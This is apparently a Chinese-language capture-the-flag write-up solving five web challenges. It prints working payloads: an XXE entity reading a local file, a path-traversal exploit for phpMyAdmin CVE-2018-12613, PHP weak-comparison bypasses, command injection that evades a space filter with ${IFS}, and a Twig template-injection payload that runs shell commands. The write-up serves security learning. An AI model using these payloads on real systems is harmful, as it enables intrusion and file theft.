[NCTF2019]Fake XML cookbook
程式碼處找到
題目也提示了是xxe,我們抓包搞一下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe "hack">]>
<user><username>&xxe;</username><password>123</password></user>
然後我們就讀取一下這個flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>
成功拿下flag
[GWCTF 2019]我有一個資料庫
參考:
[BUUCTF GWCTF 2019] 我有一個資料庫_buuctf我有有一個資料庫-CSDN部落格
掃描目錄有一個robots.txt
phpinfo.php
裡面讓我們去訪問phpinfo.php
然後還有掃到phpmyadmin的目錄,我們去訪問一下
蒐集到資訊
然後搜版本號找到漏洞CVE-2018-12613phpMyAdmin 4.8.1後臺檔案包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN部落格
?target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]Mark loves cat
參考:[BJDCTF2020]Mark loves cat | 四種解法 (新解法:強型別比較繞過) - Nestar - 部落格園 (cnblogs.com)
這邊看到有git洩露
我就直接githack跑了一下
但是啊,我這邊githack沒啥用很奇怪,什麼都沒提取出來
然後我就在我自己的機器上跑,沒在kali了
也是皇天不負有心人,終於得到了
然後我們開啟flag.php確認了flag的位置
然後就開啟了index.php
看著有點變數覆蓋的味道,然後exit就是die
我們看看第二個條件
就是flag不被GET,POST賦值就輸出yds這個變數,但是我們又想讓$yds=$flag,那我們就可以利用這個GET這個方法
如果我們GET傳入的是
yds=flag
經過那個變數覆蓋就是
$yds=$flag
最後輸出$yds的值,也就是flag,得到flag(這個回顯是在這個網頁的最左下角)
更多解法,大家可以看[BJDCTF2020]Mark loves cat | 四種解法 (新解法:強型別比較繞過) - Nestar - 部落格園 (cnblogs.com)
[WUSTCTF2020]樸實無華
robots.txt發現一個檔案
bp抓包後發現
我這裡一直亂碼
我這邊使用了egde瀏覽器,然後下了一個擴充套件
來顯示
第一層繞過就是
科學計數法:經過本地測試,在php版本小於等於7.0.9時,intval("1e2")的結果是1,即轉換字串時,遇到字母停止,但是intval("1e2"+1)的結果卻是101,這種特性可以繞過諸如intval($num)>2020&&intval($num)>2021。但是當php版本>7.0.9時,這種方法就失效了,因為intval("1e2")和intval(1e2)的值均為100。
payload如下:
num=1e4
第二層就是MD5弱比較只要本身字串0e開頭,MD5加密後還是0e開頭就行
md5=0e215962017
第三層
strstr那個判斷就是我們不能有空白符,我們可以用${IFS}繞過
意思就是不能用cat
我們先ls看一下檔案
?num=1e4&md5=0e215962017&get_flag=ls
然後檢視檔案
?num=1e4&md5=0e215962017&get_flag=c''at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[BJDCTF2020]Cookie is so stable
參考:
[buuctf-BJDCTF2020]Cookie is so stable(小宇特詳解)_buuctf cookie is so stable-CSDN部落格
upfine的部落格 (cnblogs.com)
1. SSTI(模板注入)漏洞(入門篇) - bmjoker - 部落格園 (cnblogs.com)
提示就是cookie,我們拿去解密一下,MD5解密,解不出來說明我有問題
然後就是SSTI,我輸入了
{{7*7}}
回顯就是49,說明存在模板注入
payload:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}